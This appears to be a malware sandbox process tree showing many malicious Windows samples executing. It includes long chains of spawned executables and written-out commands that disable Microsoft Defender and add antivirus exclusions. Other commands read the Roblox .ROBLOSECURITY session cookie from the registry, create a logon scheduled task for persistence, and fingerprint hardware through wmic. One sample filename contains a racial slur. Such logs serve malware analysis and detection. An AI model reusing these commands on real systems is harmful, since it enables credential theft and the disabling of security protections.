C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13300 -s 4209⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11820 -s 4487⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11820 -s 4487⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 980 -s 3005⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4740 -s 3003⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Oxymorphazone.exe"C:\Users\Admin\AppData\Local\Temp\Oxymorphazone.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\RenT7Wg.exe"C:\Users\Admin\AppData\Local\Temp\RenT7Wg.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Restter.exe"C:\Users\Admin\AppData\Local\Temp\Restter.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe"3⤵
-
-
C:\ProgramData\Synaptics\Synaptics.exe"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate3⤵
-
C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RobloxOptimizer.exe"C:\Users\Admin\AppData\Local\Temp\RobloxOptimizer.exe"2⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "MsEdge" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Cleaner.exe" /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\sdoijsgroeij324.exe"C:\Users\Admin\AppData\Local\Temp\sdoijsgroeij324.exe"2⤵
-
\??\c:\pjdvv.exec:\pjdvv.exe3⤵
-
\??\c:\nnthnb.exec:\nnthnb.exe4⤵
-
\??\c:\llrllff.exec:\llrllff.exe5⤵
-
\??\c:\bhbbtt.exec:\bhbbtt.exe6⤵
-
\??\c:\nbtnnh.exec:\nbtnnh.exe7⤵
-
\??\c:\1ffxrxr.exec:\1ffxrxr.exe8⤵
-
\??\c:\rrxrlrl.exec:\rrxrlrl.exe9⤵
-
\??\c:\xflrxxf.exec:\xflrxxf.exe10⤵
-
\??\c:\1dvjv.exec:\1dvjv.exe11⤵
-
\??\c:\flxrxfl.exec:\flxrxfl.exe12⤵
-
\??\c:\tnnnnn.exec:\tnnnnn.exe13⤵
-
\??\c:\jjppv.exec:\jjppv.exe14⤵
-
\??\c:\rrrrllf.exec:\rrrrllf.exe15⤵
-
\??\c:\lrxflll.exec:\lrxflll.exe16⤵
-
\??\c:\xrrlfff.exec:\xrrlfff.exe17⤵
-
\??\c:\llfxxff.exec:\llfxxff.exe18⤵
-
\??\c:\dppvd.exec:\dppvd.exe19⤵
-
\??\c:\vppjd.exec:\vppjd.exe20⤵
-
\??\c:\btnnhh.exec:\btnnhh.exe21⤵
-
\??\c:\jpvdp.exec:\jpvdp.exe22⤵
-
\??\c:\frxxrrr.exec:\frxxrrr.exe23⤵
-
\??\c:\frrrlrl.exec:\frrrlrl.exe24⤵
-
\??\c:\bnnbbh.exec:\bnnbbh.exe25⤵
-
\??\c:\fxxrlll.exec:\fxxrlll.exe26⤵
-
\??\c:\bbbbbb.exec:\bbbbbb.exe27⤵
-
\??\c:\hbbnnn.exec:\hbbnnn.exe28⤵
-
\??\c:\xxrlxrl.exec:\xxrlxrl.exe29⤵
-
\??\c:\llllfff.exec:\llllfff.exe30⤵
-
\??\c:\xxxxxxx.exec:\xxxxxxx.exe31⤵
-
\??\c:\3jjdd.exec:\3jjdd.exe32⤵
-
\??\c:\rlrlrlf.exec:\rlrlrlf.exe33⤵
-
\??\c:\lrxrxfl.exec:\lrxrxfl.exe34⤵
-
\??\c:\fllllll.exec:\fllllll.exe35⤵
-
\??\c:\rxxrlff.exec:\rxxrlff.exe36⤵
-
\??\c:\vvppp.exec:\vvppp.exe37⤵
-
\??\c:\vvjpv.exec:\vvjpv.exe38⤵
-
\??\c:\hhnthh.exec:\hhnthh.exe39⤵
-
\??\c:\ttbbbb.exec:\ttbbbb.exe40⤵
-
\??\c:\5btnhh.exec:\5btnhh.exe41⤵
-
\??\c:\bbtnbb.exec:\bbtnbb.exe42⤵
-
\??\c:\9xxxrxx.exec:\9xxxrxx.exe43⤵
-
\??\c:\pvpjd.exec:\pvpjd.exe44⤵
-
\??\c:\lflrllx.exec:\lflrllx.exe45⤵
-
\??\c:\ttnnnt.exec:\ttnnnt.exe46⤵
-
\??\c:\dddjd.exec:\dddjd.exe47⤵
-
\??\c:\3ddpj.exec:\3ddpj.exe48⤵
-
\??\c:\vvvdv.exec:\vvvdv.exe49⤵
-
\??\c:\vpjdd.exec:\vpjdd.exe50⤵
-
\??\c:\3rrrlll.exec:\3rrrlll.exe51⤵
-
\??\c:\5xfffff.exec:\5xfffff.exe52⤵
-
\??\c:\ppvdd.exec:\ppvdd.exe53⤵
-
\??\c:\nttntn.exec:\nttntn.exe54⤵
-
\??\c:\9fffxfx.exec:\9fffxfx.exe55⤵
-
\??\c:\7hhtnh.exec:\7hhtnh.exe56⤵
-
\??\c:\ddjdj.exec:\ddjdj.exe57⤵
-
\??\c:\rllxfxf.exec:\rllxfxf.exe58⤵
-
\??\c:\1bbtnn.exec:\1bbtnn.exe59⤵
-
\??\c:\fxrlfxr.exec:\fxrlfxr.exe60⤵
-
\??\c:\vdddd.exec:\vdddd.exe61⤵
-
\??\c:\dvdvd.exec:\dvdvd.exe62⤵
-
\??\c:\llrlfxl.exec:\llrlfxl.exe63⤵
-
\??\c:\jpjdv.exec:\jpjdv.exe64⤵
-
\??\c:\fxfflfl.exec:\fxfflfl.exe65⤵
-
\??\c:\rlrlxxx.exec:\rlrlxxx.exe66⤵
-
\??\c:\1lffxll.exec:\1lffxll.exe67⤵
-
\??\c:\bnttnn.exec:\bnttnn.exe68⤵
-
\??\c:\fxxxxll.exec:\fxxxxll.exe69⤵
-
\??\c:\1pjpj.exec:\1pjpj.exe70⤵
-
\??\c:\vdjdp.exec:\vdjdp.exe71⤵
-
\??\c:\xlxlllf.exec:\xlxlllf.exe72⤵
-
\??\c:\hhbbhn.exec:\hhbbhn.exe73⤵
-
\??\c:\7rfxlll.exec:\7rfxlll.exe74⤵
-
\??\c:\xxrrrxr.exec:\xxrrrxr.exe75⤵
-
\??\c:\hbbnht.exec:\hbbnht.exe76⤵
-
\??\c:\frxxxxl.exec:\frxxxxl.exe77⤵
-
\??\c:\jjjjd.exec:\jjjjd.exe78⤵
-
\??\c:\1jjdd.exec:\1jjdd.exe79⤵
-
\??\c:\fxllrxf.exec:\fxllrxf.exe80⤵
-
\??\c:\fflrxfx.exec:\fflrxfx.exe81⤵
-
\??\c:\ppdpv.exec:\ppdpv.exe82⤵
-
\??\c:\ddjjp.exec:\ddjjp.exe83⤵
-
\??\c:\ppddp.exec:\ppddp.exe84⤵
-
\??\c:\xflxxrl.exec:\xflxxrl.exe85⤵
-
\??\c:\bnhhbh.exec:\bnhhbh.exe86⤵
-
\??\c:\bttbnn.exec:\bttbnn.exe87⤵
-
\??\c:\dpjvj.exec:\dpjvj.exe88⤵
-
\??\c:\hbbbtt.exec:\hbbbtt.exe89⤵
-
\??\c:\lfxrllf.exec:\lfxrllf.exe90⤵
-
\??\c:\vdppd.exec:\vdppd.exe91⤵
-
\??\c:\jppjd.exec:\jppjd.exe92⤵
-
\??\c:\fxrlfxr.exec:\fxrlfxr.exe93⤵
-
\??\c:\5dvjv.exec:\5dvjv.exe94⤵
-
\??\c:\5pdvj.exec:\5pdvj.exe95⤵
-
\??\c:\fxfrlff.exec:\fxfrlff.exe96⤵
-
\??\c:\llrlfrl.exec:\llrlfrl.exe97⤵
-
\??\c:\7bbbtn.exec:\7bbbtn.exe98⤵
-
\??\c:\dvvpj.exec:\dvvpj.exe99⤵
-
\??\c:\djppv.exec:\djppv.exe100⤵
-
\??\c:\5nnbtt.exec:\5nnbtt.exe101⤵
-
\??\c:\ppdvv.exec:\ppdvv.exe102⤵
-
\??\c:\vdpjd.exec:\vdpjd.exe103⤵
-
\??\c:\3vjvv.exec:\3vjvv.exe104⤵
-
\??\c:\bbhhnn.exec:\bbhhnn.exe105⤵
-
\??\c:\jpvvv.exec:\jpvvv.exe106⤵
-
\??\c:\vddvp.exec:\vddvp.exe107⤵
-
\??\c:\nhttbt.exec:\nhttbt.exe108⤵
-
\??\c:\vjdjp.exec:\vjdjp.exe109⤵
-
\??\c:\xlfllfl.exec:\xlfllfl.exe110⤵
-
\??\c:\hbbhth.exec:\hbbhth.exe111⤵
-
\??\c:\xxxxfff.exec:\xxxxfff.exe112⤵
-
\??\c:\bhnttt.exec:\bhnttt.exe113⤵
-
\??\c:\tbbbbb.exec:\tbbbbb.exe114⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Setup.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\tuffnigga.exe"C:\Users\Admin\AppData\Local\Temp\tuffnigga.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Umbral.exe"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 23⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Disables automatic submission of suspicious files to Microsoft by Windows Defender
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption3⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory3⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name3⤵
- Detects videocard installed
-
-
-
C:\Users\Admin\AppData\Local\Temp\48qKwkR.exe"C:\Users\Admin\AppData\Local\Temp\48qKwkR.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"2⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\a.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\a.exeC:\Users\Admin\AppData\Local\Temp\Files\a.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\x.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\x.exeC:\Users\Admin\AppData\Local\Temp\Files\x.exe4⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe.dat"5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe.dat"5⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\1_2407~1.EXE"5⤵
-
C:\Users\Admin\AppData\Local\Temp\1_2407~1.EXEC:\Users\Admin\AppData\Local\Temp\1_2407~1.EXE6⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\2_2407~1.EXE"5⤵
-
C:\Users\Admin\AppData\Local\Temp\2_2407~1.EXEC:\Users\Admin\AppData\Local\Temp\2_2407~1.EXE6⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3_2407~1.EXE"5⤵
-
C:\Users\Admin\AppData\Local\Temp\3_2407~1.EXEC:\Users\Admin\AppData\Local\Temp\3_2407~1.EXE6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-00RV4.tmp\3_2407~1.tmp"C:\Users\Admin\AppData\Local\Temp\is-00RV4.tmp\3_2407~1.tmp" /SL5="$30482,3640152,869376,C:\Users\Admin\AppData\Local\Temp\3_2407~1.EXE"7⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3_2407~1.EXE" /VERYSILENT /PASSWORD=1e24988b-bf24-4957-89d1-d81124db5f038⤵
-
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\4_2407~1.EXE"5⤵
-
C:\Users\Admin\AppData\Local\Temp\4_2407~1.EXEC:\Users\Admin\AppData\Local\Temp\4_2407~1.EXE6⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\5_2407~1.EXE"5⤵
-
C:\Users\Admin\AppData\Local\Temp\5_2407~1.EXEC:\Users\Admin\AppData\Local\Temp\5_2407~1.EXE6⤵
-
C:\Users\Admin\AppData\Local\Temp\5_2407~1.EXEC:\Users\Admin\AppData\Local\Temp\5_2407~1.EXE7⤵
-
-
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\hack1226.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\hack1226.exeC:\Users\Admin\AppData\Local\Temp\Files\hack1226.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\MAZA-0~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\MAZA-0~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\MAZA-0~1.EXE4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\CFXBYP~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\CFXBYP~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\CFXBYP~1.EXE4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\CRITSC~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\CRITSC~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\CRITSC~1.EXE4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\PROCES~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\PROCES~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\PROCES~1.EXE4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Antieac.exe"C:\Users\Admin\AppData\Local\Temp\Antieac.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\aoi1j.exe"C:\Users\Admin\AppData\Local\Temp\aoi1j.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\3582-490\aoi1j.exe"C:\Users\Admin\AppData\Local\Temp\3582-490\aoi1j.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\aoisjf.exe"C:\Users\Admin\AppData\Local\Temp\aoisjf.exe"2⤵
-
C:\Windows\SysWOW64\Khakqo32.exeC:\Windows\system32\Khakqo32.exe3⤵
-
C:\Windows\SysWOW64\Lmgfod32.exeC:\Windows\system32\Lmgfod32.exe4⤵
-
C:\Windows\SysWOW64\Mdkabmjf.exeC:\Windows\system32\Mdkabmjf.exe5⤵
-
C:\Windows\SysWOW64\Ogefqeaj.exeC:\Windows\system32\Ogefqeaj.exe6⤵
-
C:\Windows\SysWOW64\Pgoigcip.exeC:\Windows\system32\Pgoigcip.exe7⤵
-
C:\Windows\SysWOW64\Pbifol32.exeC:\Windows\system32\Pbifol32.exe8⤵
-
C:\Windows\SysWOW64\Adqeaf32.exeC:\Windows\system32\Adqeaf32.exe9⤵
-
C:\Windows\SysWOW64\Bgfhnpde.exeC:\Windows\system32\Bgfhnpde.exe10⤵
-
C:\Windows\SysWOW64\Cbihmg32.exeC:\Windows\system32\Cbihmg32.exe11⤵
-
C:\Windows\SysWOW64\Dpdogj32.exeC:\Windows\system32\Dpdogj32.exe12⤵
-
C:\Windows\SysWOW64\Dbgdnelk.exeC:\Windows\system32\Dbgdnelk.exe13⤵
-
C:\Windows\SysWOW64\Eekjep32.exeC:\Windows\system32\Eekjep32.exe14⤵
-
C:\Windows\SysWOW64\Fpqgjf32.exeC:\Windows\system32\Fpqgjf32.exe15⤵
-
C:\Windows\SysWOW64\Jgbhdkml.exeC:\Windows\system32\Jgbhdkml.exe16⤵
-
C:\Windows\SysWOW64\Jobfdl32.exeC:\Windows\system32\Jobfdl32.exe17⤵
-
C:\Windows\SysWOW64\Kqdodo32.exeC:\Windows\system32\Kqdodo32.exe18⤵
-
C:\Windows\SysWOW64\Lccdghmc.exeC:\Windows\system32\Lccdghmc.exe19⤵
-
C:\Windows\SysWOW64\Malnklgg.exeC:\Windows\system32\Malnklgg.exe20⤵
-
C:\Windows\SysWOW64\Nmnnlk32.exeC:\Windows\system32\Nmnnlk32.exe21⤵
-
C:\Windows\SysWOW64\Ogpfko32.exeC:\Windows\system32\Ogpfko32.exe22⤵
-
C:\Windows\SysWOW64\Ohaokbfd.exeC:\Windows\system32\Ohaokbfd.exe23⤵
-
C:\Windows\SysWOW64\Pjjaci32.exeC:\Windows\system32\Pjjaci32.exe24⤵
-
C:\Windows\SysWOW64\Pgbkgmao.exeC:\Windows\system32\Pgbkgmao.exe25⤵
-
C:\Windows\SysWOW64\Aqpika32.exeC:\Windows\system32\Aqpika32.exe26⤵
-
C:\Windows\SysWOW64\Abflfc32.exeC:\Windows\system32\Abflfc32.exe27⤵
-
C:\Windows\SysWOW64\Bhgjcmfi.exeC:\Windows\system32\Bhgjcmfi.exe28⤵
-
C:\Windows\SysWOW64\Ceeaim32.exeC:\Windows\system32\Ceeaim32.exe29⤵
-
C:\Windows\SysWOW64\Dbbdip32.exeC:\Windows\system32\Dbbdip32.exe30⤵
-
C:\Windows\SysWOW64\Dgaiffii.exeC:\Windows\system32\Dgaiffii.exe31⤵
-
C:\Windows\SysWOW64\Eblgon32.exeC:\Windows\system32\Eblgon32.exe32⤵
-
C:\Windows\SysWOW64\Eliecc32.exeC:\Windows\system32\Eliecc32.exe33⤵
-
C:\Windows\SysWOW64\Fehplggn.exeC:\Windows\system32\Fehplggn.exe34⤵
-
C:\Windows\SysWOW64\Hcofbifb.exeC:\Windows\system32\Hcofbifb.exe35⤵
-
C:\Windows\SysWOW64\Hafpiehg.exeC:\Windows\system32\Hafpiehg.exe36⤵
-
C:\Windows\SysWOW64\Jhcmbm32.exeC:\Windows\system32\Jhcmbm32.exe37⤵
-
C:\Windows\SysWOW64\Jcmkjeko.exeC:\Windows\system32\Jcmkjeko.exe38⤵
-
C:\Windows\SysWOW64\Kokbpe32.exeC:\Windows\system32\Kokbpe32.exe39⤵
-
C:\Windows\SysWOW64\Lbenho32.exeC:\Windows\system32\Lbenho32.exe40⤵
-
C:\Windows\SysWOW64\Mcnmhpoj.exeC:\Windows\system32\Mcnmhpoj.exe41⤵
-
C:\Windows\SysWOW64\Nfjeej32.exeC:\Windows\system32\Nfjeej32.exe42⤵
-
C:\Windows\SysWOW64\Ppccemjk.exeC:\Windows\system32\Ppccemjk.exe43⤵
-
C:\Windows\SysWOW64\Alfcflfb.exeC:\Windows\system32\Alfcflfb.exe44⤵
-
C:\Windows\SysWOW64\Cnjbbl32.exeC:\Windows\system32\Cnjbbl32.exe45⤵
-
C:\Windows\SysWOW64\Eapmedef.exeC:\Windows\system32\Eapmedef.exe46⤵
-
C:\Windows\SysWOW64\Fjdajhbi.exeC:\Windows\system32\Fjdajhbi.exe47⤵
-
C:\Windows\SysWOW64\Hmecba32.exeC:\Windows\system32\Hmecba32.exe48⤵
-
C:\Windows\SysWOW64\Ildpbfmf.exeC:\Windows\system32\Ildpbfmf.exe49⤵
-
C:\Windows\SysWOW64\Klibdcjo.exeC:\Windows\system32\Klibdcjo.exe50⤵
-
C:\Windows\SysWOW64\Linojbdc.exeC:\Windows\system32\Linojbdc.exe51⤵
-
C:\Windows\SysWOW64\Nnbfjf32.exeC:\Windows\system32\Nnbfjf32.exe52⤵
-
C:\Windows\SysWOW64\Pemhmn32.exeC:\Windows\system32\Pemhmn32.exe53⤵
-
C:\Windows\SysWOW64\Ampojimo.exeC:\Windows\system32\Ampojimo.exe54⤵
-
C:\Windows\SysWOW64\Bjgifhep.exeC:\Windows\system32\Bjgifhep.exe55⤵
-
C:\Windows\SysWOW64\Dqhpjohb.exeC:\Windows\system32\Dqhpjohb.exe56⤵
-
C:\Windows\SysWOW64\Epgpajdp.exeC:\Windows\system32\Epgpajdp.exe57⤵
-
C:\Windows\SysWOW64\Gffkpa32.exeC:\Windows\system32\Gffkpa32.exe58⤵
-
C:\Windows\SysWOW64\Lncjgddf.exeC:\Windows\system32\Lncjgddf.exe59⤵
-
C:\Windows\SysWOW64\Mnjqhcno.exeC:\Windows\system32\Mnjqhcno.exe60⤵
-
C:\Windows\SysWOW64\Oilmhhfd.exeC:\Windows\system32\Oilmhhfd.exe61⤵
-
C:\Windows\SysWOW64\Apkhfo32.exeC:\Windows\system32\Apkhfo32.exe62⤵
-
C:\Windows\SysWOW64\Bhgeao32.exeC:\Windows\system32\Bhgeao32.exe63⤵
-
C:\Windows\SysWOW64\Clldhljp.exeC:\Windows\system32\Clldhljp.exe64⤵
-
C:\Windows\SysWOW64\Dlegokbe.exeC:\Windows\system32\Dlegokbe.exe65⤵
-
C:\Windows\SysWOW64\Ebplhp32.exeC:\Windows\system32\Ebplhp32.exe66⤵
-
C:\Windows\SysWOW64\Fcdbmb32.exeC:\Windows\system32\Fcdbmb32.exe67⤵
-
C:\Windows\SysWOW64\Gfcgpkhk.exeC:\Windows\system32\Gfcgpkhk.exe68⤵
-
C:\Windows\SysWOW64\Hcpjpn32.exeC:\Windows\system32\Hcpjpn32.exe69⤵
-
C:\Windows\SysWOW64\Ibojgikg.exeC:\Windows\system32\Ibojgikg.exe70⤵
-
C:\Windows\SysWOW64\Ljlagndl.exeC:\Windows\system32\Ljlagndl.exe71⤵
-
C:\Windows\SysWOW64\Ojfmdk32.exeC:\Windows\system32\Ojfmdk32.exe72⤵
-
C:\Windows\SysWOW64\Beefenie.exeC:\Windows\system32\Beefenie.exe73⤵
-
C:\Windows\SysWOW64\Dlpgiebo.exeC:\Windows\system32\Dlpgiebo.exe74⤵
-
C:\Windows\SysWOW64\Dacebkko.exeC:\Windows\system32\Dacebkko.exe75⤵
-
C:\Windows\SysWOW64\Ehgqed32.exeC:\Windows\system32\Ehgqed32.exe76⤵
-
C:\Windows\SysWOW64\Gmjlmo32.exeC:\Windows\system32\Gmjlmo32.exe77⤵
-
C:\Windows\SysWOW64\Hmfkin32.exeC:\Windows\system32\Hmfkin32.exe78⤵
-
C:\Windows\SysWOW64\Jeaidn32.exeC:\Windows\system32\Jeaidn32.exe79⤵
-
C:\Windows\SysWOW64\Lbhojo32.exeC:\Windows\system32\Lbhojo32.exe80⤵
-
C:\Windows\SysWOW64\Lepnli32.exeC:\Windows\system32\Lepnli32.exe81⤵
-
C:\Windows\SysWOW64\Ojcidelf.exeC:\Windows\system32\Ojcidelf.exe82⤵
-
C:\Windows\SysWOW64\Omjhgoco.exeC:\Windows\system32\Omjhgoco.exe83⤵
-
C:\Windows\SysWOW64\Qdpmij32.exeC:\Windows\system32\Qdpmij32.exe84⤵
-
C:\Windows\SysWOW64\Anadho32.exeC:\Windows\system32\Anadho32.exe85⤵
-
C:\Windows\SysWOW64\Cjfaon32.exeC:\Windows\system32\Cjfaon32.exe86⤵
-
C:\Windows\SysWOW64\Dfiaomkb.exeC:\Windows\system32\Dfiaomkb.exe87⤵
-
C:\Windows\SysWOW64\Eddhipdd.exeC:\Windows\system32\Eddhipdd.exe88⤵
-
C:\Windows\SysWOW64\Fnoboc32.exeC:\Windows\system32\Fnoboc32.exe89⤵
-
C:\Windows\SysWOW64\Gnfhob32.exeC:\Windows\system32\Gnfhob32.exe90⤵
-
C:\Windows\SysWOW64\Mhgfdmle.exeC:\Windows\system32\Mhgfdmle.exe91⤵
-
C:\Windows\SysWOW64\Nipedokm.exeC:\Windows\system32\Nipedokm.exe92⤵
-
C:\Windows\SysWOW64\Capbaacl.exeC:\Windows\system32\Capbaacl.exe93⤵
-
C:\Windows\SysWOW64\Fmdach32.exeC:\Windows\system32\Fmdach32.exe94⤵
-
C:\Windows\SysWOW64\Gkfnnjnl.exeC:\Windows\system32\Gkfnnjnl.exe95⤵
-
C:\Windows\SysWOW64\Kggcgeop.exeC:\Windows\system32\Kggcgeop.exe96⤵
-
C:\Windows\SysWOW64\Mcnmccfa.exeC:\Windows\system32\Mcnmccfa.exe97⤵
-
C:\Windows\SysWOW64\Poimigfm.exeC:\Windows\system32\Poimigfm.exe98⤵
-
C:\Windows\SysWOW64\Lopmbomp.exeC:\Windows\system32\Lopmbomp.exe99⤵
-
C:\Windows\SysWOW64\Ombcdo32.exeC:\Windows\system32\Ombcdo32.exe100⤵
-
C:\Windows\SysWOW64\Bmceaj32.exeC:\Windows\system32\Bmceaj32.exe101⤵
-
C:\Windows\SysWOW64\Encgofhl.exeC:\Windows\system32\Encgofhl.exe102⤵
-
C:\Windows\SysWOW64\Fiekhm32.exeC:\Windows\system32\Fiekhm32.exe103⤵
-
C:\Windows\SysWOW64\Gganjh32.exeC:\Windows\system32\Gganjh32.exe104⤵
-
C:\Windows\SysWOW64\Gpolld32.exeC:\Windows\system32\Gpolld32.exe105⤵
-
C:\Windows\SysWOW64\Ipihiaqa.exeC:\Windows\system32\Ipihiaqa.exe106⤵
-
C:\Windows\SysWOW64\Lakfodjj.exeC:\Windows\system32\Lakfodjj.exe107⤵
-
C:\Windows\SysWOW64\Nokfcg32.exeC:\Windows\system32\Nokfcg32.exe108⤵
-
C:\Windows\SysWOW64\Pfojmn32.exeC:\Windows\system32\Pfojmn32.exe109⤵
-
C:\Windows\SysWOW64\Bjdbki32.exeC:\Windows\system32\Bjdbki32.exe110⤵
-
C:\Windows\SysWOW64\Ckdkbfco.exeC:\Windows\system32\Ckdkbfco.exe111⤵
-
C:\Windows\SysWOW64\Fbaabk32.exeC:\Windows\system32\Fbaabk32.exe112⤵
-
C:\Windows\SysWOW64\Hnfohj32.exeC:\Windows\system32\Hnfohj32.exe113⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe.dat"56⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe.dat"56⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe.dat"55⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe.dat"55⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe.dat"54⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe.dat"54⤵
-
-
-
-
-
-
-
-
-
-
